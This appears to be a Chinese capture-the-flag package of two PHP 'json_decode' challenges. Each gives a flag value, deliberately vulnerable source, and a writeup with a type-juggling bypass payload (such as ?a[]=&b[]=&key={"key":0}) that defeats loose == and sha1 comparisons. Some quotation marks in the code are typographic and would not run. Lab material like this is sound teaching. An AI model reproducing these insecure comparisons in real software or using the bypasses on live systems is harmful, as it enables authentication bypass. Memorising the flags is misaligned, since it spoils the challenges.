[题目信息]:
题目名称 | 题目难度 |
---|---|
PHP-json_decode | 1 |
[题目考点]:
json_decode()函数是PHP中的内置函数,用于解码JSON字符串。它将JSON编码的字符串转换为PHP变量。
[Flag格式]:
SangFor{fFSo4LcEofPQDgJS}
[环境部署]:
docker-compose.yml文件或者docker tar原始文件。
http://分配ip:2003
[题目writeup]:
<?php
include('flag.php');
if (isset($_POST['message'])) {
$message = json_decode($_POST['message']);
$key ="*********";
if ($message->key == $key) {
"flag";
}
else {
"fail";
}
}
else{
"~~~~";
}
show_source(__FILE__);
?>
分析代码逻辑,传入一个变量message,并且是json类型的字符串,然后json_decode()函数将其解析成字符串,其中一个变量key的值和原码中的$key值相等,输出flag。
$key的值无法获取,只能考虑利用0=="string"这种形式绕过。所以传入message={“key”:0}就能够绕过了。
POST:
message={"key":0}
[题目信息]:
题目名称 | 题目难度 |
---|---|
PHP-json_decode | 1 |
[题目考点]:
json_decode()函数是PHP中的内置函数,用于解码JSON字符串。它将JSON编码的字符串转换为PHP变量。
[Flag格式]:
SangFor{_U0J_jjoXy9E4Ee0hl0FdxooQ814hHD9}
[环境部署]:
docker-compose.yml文件或者docker tar原始文件。
http://分配ip:2034
[题目writeup]:
1、实验主页
2、源码分析
<?php
show_source(__FILE__);
include("flag.php");
$a = $_GET['a'];
$b = $_GET['b'];
$good = false;
if (sha1($a)===sha1($b)){
$good = true;
}
else die(‘bypass’);
if ($good && isset($_GET[‘key’])){
$message = json_decode($_GET[‘key’]);
if ($message->key==$key) {
echo $flag;
}
else die(‘wrong’);
}
?>
分析代码逻辑,首先是===绕过,这里使用数组绕过,sha1作用于数组会返回NULL
这样传入两个数组就可以构造NULL===NULL从而绕过
再看$message->key==$key,这里是弱类型比较,想到了0’admin’这种方式,所以构造key={“key”:0}
最终payload:
?a[]=&b[]=&key={"key":0}